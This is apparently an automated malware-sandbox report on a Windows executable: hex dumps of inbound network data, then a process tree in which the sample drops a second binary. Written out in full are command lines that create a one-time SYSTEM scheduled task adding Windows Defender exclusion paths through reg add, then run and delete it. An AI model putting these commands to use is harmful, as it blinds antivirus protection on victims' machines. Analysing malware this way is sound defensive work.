2025-01-16 02:55:45 UTC	4096	IN	Data Raw: 60 60 60 eb 25 68 30 9f 75 d0 14 62 70 e9 25 84 e3 1d 84 60 15 67 52 a0 89 a9 60 60 60 06 67 e5 4c a2 a0 c6 2b ed ac f1 5f b5 0c d4 a2 b0 c6 29 e5 4e 2b f5 44 2b e2 ac 2b a8 2b b1 29 f5 10 8a f0 6d a5 0c b0 6b ad 34 6b b1 a8 b2 1f f5 2c 94 e2 f0 63 18 1f 95 e7 d2 20 09 68 e0 e0 e0 67 e5 5c a1 a0 a0 a0 ca a4 2d e5 5c f0 ca a8 c8 5f 5f a0 a0 2b ed 74 2b f1 e8 f2 5f b5 08 d4 a2 70 e5 a0 15 59 a7 25 b8 61 60 60 60 a7 25 bc 40 df 62 60 a7 25 80 e8 73 60 60 0a 60 0a 60 ed 25 48 f0 ca a0 ca a0 ca ac 2d ed 78 f1 c8 a4 a0 a0 38 2b f5 74 2b e2 e8 f0 5f b5 00 d4 a2 b0 2b ed 34 26 a1 b3 e1 8a e0 8a e0 8a e0 6b b5 34 b2 88 69 f7 e0 f0 8a e0 8a e0 08 da 10 e0 e0 63 24 fc 2b ed 74 29 e1 e4 10 a1 2b 45 fd 62 a8 a0 f5 2b 4c 18 b8 6a a0 a0 48 9a a7 a1 a0 f6 f7 2b e5 a8 e9 Data Ascii: ```%h0ubp%`gR```gL+_)N+D+++)mk4k,c hg\-\__+t+_pY%a```%@b`%s````%H-x8+t+_+4&k4ic$+t)+Eb+LjH+
2025-01-16 02:55:45 UTC	4096	IN	Data Raw: 2c 9d 9f 9f 31 ed f5 f4 9e 9f 9f 32 88 1d 9d 60 60 e3 a4 70 ed e5 f4 9e 9f 9f 30 ed ed 10 5d 5f 5f f1 5f b5 30 d2 a2 b0 ca a0 c8 20 a0 a0 a0 ca a2 ca a0 ca a2 c8 a0 a0 a0 e0 c8 a0 4c a2 f0 1f f5 74 92 e2 f0 69 65 84 1d 1f 1f 63 5d 84 1d 1f 1f 1f 95 e7 d3 20 09 0a e0 e0 e0 8a e0 6d 35 cc 5d 5f 5f f2 2b e5 a8 f0 48 06 5c a0 a0 23 64 a4 2b ed ac 8b 68 23 49 a1 f1 2b f5 a8 f2 48 f1 9c 60 60 e3 a4 64 eb 2d 68 ed 34 61 61 32 eb e5 04 9d 9f 9f 30 9f 75 f8 12 62 70 eb ed 04 9d 5f 5f f1 5f b5 44 d2 a2 b0 c8 54 a1 a0 a0 5f b5 6c d2 a2 b0 ca a1 c8 8c 4c a2 b0 48 61 5c 5f 5f 63 24 e8 8a e0 88 b8 0c e2 f0 08 dd 1b e0 e0 63 24 e8 63 18 1f 94 d0 8a e0 8a e0 8a e0 6d 75 18 5e 5f 5f f2 c8 24 4c a2 b0 ca a0 5f b5 a0 d3 a2 b0 ca a0 01 68 ec a5 b0 f0 5f b5 3c d2 a2 b0 ca 60 Data Ascii: ,12``p0]___0 Ltiec] m5]__+H\#d+h#I+H``d-h4aa20ubp___DT_lLHa\__c$c$cmu^__$L_h_<`
2025-01-16 02:55:45 UTC	4096	IN	Data Raw: 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 44 45 46 47 48 49 4e 4e 4e 4a 4b 4e 8e 8e 8c 8d f5 2b 4c 21 4c 18 a2 a0 a0 29 2d e8 5d 5f 5f c8 ac 4e a2 b0 48 3e a3 a0 a0 23 64 a4 8a e0 88 f4 0e e2 f0 08 d5 0d 1f 1f 63 24 e8 8a e0 88 d0 0e e2 f0 08 c6 0d 1f 1f 63 24 e8 88 08 a3 a0 a0 5f b5 6c d2 a2 b0 c8 e8 4e a2 b0 5f b5 20 d2 a2 b0 c8 c0 4e a2 b0 5f b5 20 d2 a2 b0 c8 88 63 60 60 9f 75 ac 12 62 70 08 64 61 60 60 ed e5 98 9e 9f 9f 30 0a 60 9f 75 e4 12 62 70 a6 e5 24 5e 5f 5f eb 66 25 25 5e 5f 5f e5 66 25 26 5e 5f 5f f2 66 25 27 5e 5f 5f ee 66 25 28 5e 5f 5f a5 26 65 69 1e 1f 1f ac 26 65 6a 1e 1f 1f d3 26 65 6b 1e 1f 1f d2 26 65 6c 1e 1f 1f ce 26 65 6d 5e 5f 5f c4 66 25 2e 5e 5f 5f cc 66 25 2f 5e 5f 5f cc 66 25 30 5e 5f 5f a0 66 25 d4 5e 5f 5f e7 a6 Data Ascii: NNNNNNNNNNNNNNNNNNDEFGHINNNJKN+L!L)-]__NH>#dc$c$_lN_ N_ c``ubpda``0`ubp$^__f%%^__f%&^__f%'^__f%(^__&ei&ej&ek&el&em^__f%.^__f%/^__f%0^__f%^__
2025-01-16 02:55:45 UTC	4096	IN	Data Raw: 75 90 12 62 70 d8 61 60 60 60 8b 62 8b 80 eb 85 3d a3 35 eb 8c e3 8c 08 37 eb 25 68 e9 25 38 66 e5 3c a0 19 b8 a0 a0 a0 93 60 2d dd 3d 53 0b c6 0b 0a ca c4 2b ed 38 f1 2d f5 3c f2 48 92 2f e0 e0 63 24 ec 6d a5 7c b0 6b ed 28 09 e2 f0 b1 88 78 a5 e5 f0 6b b5 78 63 22 84 b2 08 df 1f 5f 5f 23 64 b0 93 60 ff 2b 45 fd 62 a4 a0 f5 2b 4c ca a0 01 68 49 a2 b0 f0 c8 38 e5 a5 b0 2b ed 68 31 88 7a 9f 9f 9f e3 a4 70 53 a0 3d a2 64 60 35 eb 8c 0a 60 c1 60 60 60 70 30 08 60 60 60 70 2b ed a8 f1 48 58 5e 5f 5f 23 64 b0 93 60 fd 62 a4 a0 f5 2b 4c 21 4c 80 a4 a0 a0 f7 c8 cc 4f a2 f0 1f f5 68 92 e2 f0 69 a5 18 d3 20 86 41 6a dd e5 f0 65 20 95 e5 09 a7 e1 e0 e0 d3 29 86 6b ed 2a 9d a5 b0 29 ed 5c 2b f5 5c 61 42 aa 29 f5 50 ca a0 c8 20 a0 a0 a0 ca a4 ca a0 ca a2 c8 a0 a0 60 Data Ascii: ubpa```b=57%h%8f<`-=S+8-<H/c$m\|k(xkxc"__#d`+Eb+LhI8+h1zpS=d`5````p0```p+HX^__#d`b+L!LOhi Aje )k*)\+\aB)P `
2025-01-16 02:55:45 UTC	4096	IN	Data Raw: 61 60 60 eb 25 68 30 ed ed 40 9d 9f 9f 31 88 00 df 60 60 e3 a4 6c a6 e5 f8 9e 9f 9f 60 d9 f9 a0 a0 a0 93 60 2d 1d 39 5e 5f 5f 53 0b c6 0b 0a ca a0 ca a0 ca a2 ca a0 ca a1 c8 a0 a0 a0 e0 6d 75 cc 1e 1f 1f b2 1f f5 74 92 e2 f0 69 65 70 1e 1f 1f 63 5d 70 1e 1f 1f 1f 95 e7 d3 20 09 11 a0 a0 a0 ca a0 2d 25 34 5e 5f 5f f0 2b ed ac 21 49 d0 a1 a0 a0 f1 2b f5 a8 21 62 d0 a1 a0 a0 f2 eb e5 f0 9e 9f 9f 30 9f 75 f8 12 62 70 e5 a0 15 67 53 a0 89 dc 60 60 60 eb ed f0 9e 9f 9f 31 9f b5 a4 ed a5 b0 2d 35 88 5d 5f 5f f2 48 c4 6c a0 a0 23 64 a4 25 60 d4 85 2d 25 88 5d 5f 5f f0 2d 6d cc 1e 1f 1f b1 88 6c 11 e2 f0 6d 75 78 1e 1f 1f b2 1f f5 b4 ad e5 f0 63 24 f0 0b f4 6d 65 cc 5e 5f 5f f0 2d 2d 38 5e 5f 5f f1 5f b5 68 d2 a2 b0 2b 35 84 5d 5f 5f 29 35 bc 5d 5f 5f 23 1d bc 9d Data Ascii: a``%h0@1``l``-9^__Smutiepc]p -%4^__+!I+!b0ubpgS```1-5]__Hl#d%`-%]__-mlmuxc$me^__--8^___h+5]__)5]__#
2025-01-16 02:55:45 UTC	4096	IN	Data Raw: 60 ac ac 35 eb 8c 53 a0 c0 4c c6 65 70 e3 80 61 e5 a0 15 6f ea 6d 4c c6 65 70 e0 a9 61 e8 ad 8c 06 a5 b0 fd 63 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c f5 2b 4c f1 29 ed 5c 2b e5 ac 2a e8 6b b5 1c 68 ea 8a e0 6b ad 1c 08 f5 e2 e0 e0 6b a5 e8 b0 6b ad 1c 08 a9 e1 e0 e0 6b a5 1c 6b 45 fd 62 a8 a0 f5 2b 4c f1 29 ed 5c ca a1 2b ed 5c 48 4f a1 a0 a0 2b 45 fd 63 6c 6c 6c 6c 6c 6c ac ac ac ac ac 35 eb 8c 31 e9 2d 9c ea 25 68 30 0a 61 eb 2d 9c 88 eb 60 60 60 eb 85 3d a2 64 60 6c 6c 6c 6c 6c f5 2b 4c f1 29 ed 5c 2b e5 5c 2b e8 a8 9b ed a8 d7 a5 48 c2 c9 a1 a0 2b ed 5c 48 f1 e1 e0 e0 6b b5 1c 6b a2 e4 e3 a5 e8 6b 05 bd 22 e4 e0 2c 2c b5 6b 0c 63 0c e8 69 ad 1c 6b a5 5c 23 d8 a4 a0 d5 aa 48 c9 a1 a0 a0 29 e5 58 4b a9 2b ed 5c 2b f1 a4 29 f5 58 2b e5 58 2b 45 fd a3 Data Ascii: `5SLepaomLepacllllllllllllll+L)\+*khkkkkkEb+L)\+\HO+Ecllllll51-%h0a-```=d`lllll+L)\+\+H+\Hkkk",,kcik\#H)XK+\+)X+X+E
2025-01-16 02:55:45 UTC	4096	IN	Data Raw: 62 e3 98 1d 15 6a a7 65 0c 94 62 70 60 60 60 60 e3 5d 0c 94 62 70 60 14 41 08 12 74 60 60 5f b5 6c d2 a2 b0 2b 2d 44 5e 5f 5f 48 7c 5c 5f 5f 2b 2d 44 5e 5f 5f 48 ff 5d 5f 5f 2b ed 54 c4 69 ed e0 e0 e0 e0 bf be bb 6b 05 bd 22 e8 e0 2c 2c 2c 2c 2c 2c b5 6b 0c b1 69 ad 1c 6b ad 1c 08 23 5c 5f 5f 2b e5 a8 23 40 a1 25 60 d4 ac 2b ed 5c f1 48 53 3e a0 a0 23 64 a4 2b e5 5c 2b 45 fd a2 64 60 ac ac 35 eb 8c 88 67 60 60 60 88 71 60 60 60 3d a3 35 eb 8c d9 ad 2c 65 70 88 75 3c 61 a0 fd 63 f5 2b 4c c8 f0 d7 a0 b0 48 10 0d a0 a0 23 64 a4 fd 63 f5 2b 4c 19 6d ec a5 b0 48 d3 fd e1 e0 bd 23 b5 6b 0c 08 e7 e0 e0 e0 08 f1 e0 e0 e0 bd 23 b5 6b 0c 59 2c ac e5 f0 08 30 89 e1 e0 fd 63 f5 2b 4c c8 2f d7 a0 b0 48 d1 0d a0 a0 23 64 a4 fd 63 f5 2b 4c 19 6c ec a5 b0 48 90 cb a1 60 Data Ascii: bjebp````]bp`At``_l+-D^__H\|\__+-D^__H]__+Tik",,,,,,kik#\__+#@%`+\HS>#d+\+Ed`5g```q```=5,epu<ac+LH#dc+LmH#k#kY,0c+L/H#dc+LlH`
2025-01-16 02:55:45 UTC	4096	IN	Data Raw: eb 25 d0 30 9f 75 4c 10 62 70 eb 2d f8 e9 2d e4 eb 35 d0 32 9f 75 84 12 62 70 eb 25 cc 30 5f b5 44 d2 a2 b0 2b ed 24 29 ed 18 4b a7 67 e5 18 a0 a0 a0 a0 23 dd 14 a0 d4 aa 2b f5 14 f2 5f f5 ec 92 e2 f0 6b a5 58 6b 05 bd 23 b5 6b 0c 61 0c 7c e5 e0 e0 88 df 68 e0 f0 88 50 3d e4 f0 1f b5 80 d0 a2 b0 03 54 ed a5 b0 67 a5 58 ed a5 b0 80 a0 a0 a0 67 a5 a0 ee a5 b0 a7 a0 a0 a0 67 a5 64 2e 65 70 60 60 60 60 a7 65 70 2e 65 70 b0 67 60 60 a7 65 6c 2e 65 70 61 60 60 60 a7 65 9c 2d a5 b0 a2 a0 a0 a0 c8 58 ed a5 b0 01 54 ed a5 b0 f0 5f b5 c4 d0 a2 b0 67 a5 ac ee a5 b0 a0 a0 a0 e0 88 14 e1 e0 e0 1f f5 2c 92 e2 f0 27 65 8c 1f 1f 1f 74 e0 e0 e0 6d 6d 8c 1f 1f 1f b1 1f f5 f8 d2 a2 b0 23 1d d0 5f 5f 5f a6 d3 96 67 a5 5c ed a5 b0 a4 a0 a0 a0 c8 58 ed a5 b0 2b b5 54 ed a5 70 Data Ascii: %0uLbp--52ubp%0_D+$)Kg#+_kXk#ka\|hP=TgXggd.ep````ep.epg``el.epa```e-XT_g,'etmm#___g\X+Tp

Target ID:	0
Start time:	21:54:04
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\153776434-874356550.05.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\153776434-874356550.05.exe"
Imagebase:	0x140000000
File size:	30'912'720 bytes
MD5 hash:	3507CAB36B2AA201DAD19D45E54536E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:54:33
Start date:	15/01/2025
Path:	C:\Users\user\Documents\ocGsp4.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\ocGsp4.exe
Imagebase:	0x140000000
File size:	133'136 bytes
MD5 hash:	D3709B25AFD8AC9B63CBD4E1E1D962B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:54:35
Start date:	15/01/2025
Path:	C:\Users\user\Documents\ocGsp4.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\ocGsp4.exe
Imagebase:	0x140000000
File size:	133'136 bytes
MD5 hash:	D3709B25AFD8AC9B63CBD4E1E1D962B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:54:46
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff79a510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:54:46
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:54:46
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:54:46
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	21:54:46
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff79a510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:54:46
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:54:46
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:54:46
Start date:	15/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff6586a0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:54:47
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff79a510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:54:47
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:54:47
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	21:54:47
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	21:54:47
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff79a510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:54:47
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:54:47
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:54:47
Start date:	15/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff6586a0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:54:48
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff79a510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:54:48
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:54:48
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:54:48
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:54:48
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff79a510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:54:48
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:54:48
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:54:48
Start date:	15/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff6586a0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:54:49
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff79a510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:54:49
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	21:54:49
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:54:49
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:54:49
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff79a510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:54:49
Start date:	15/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
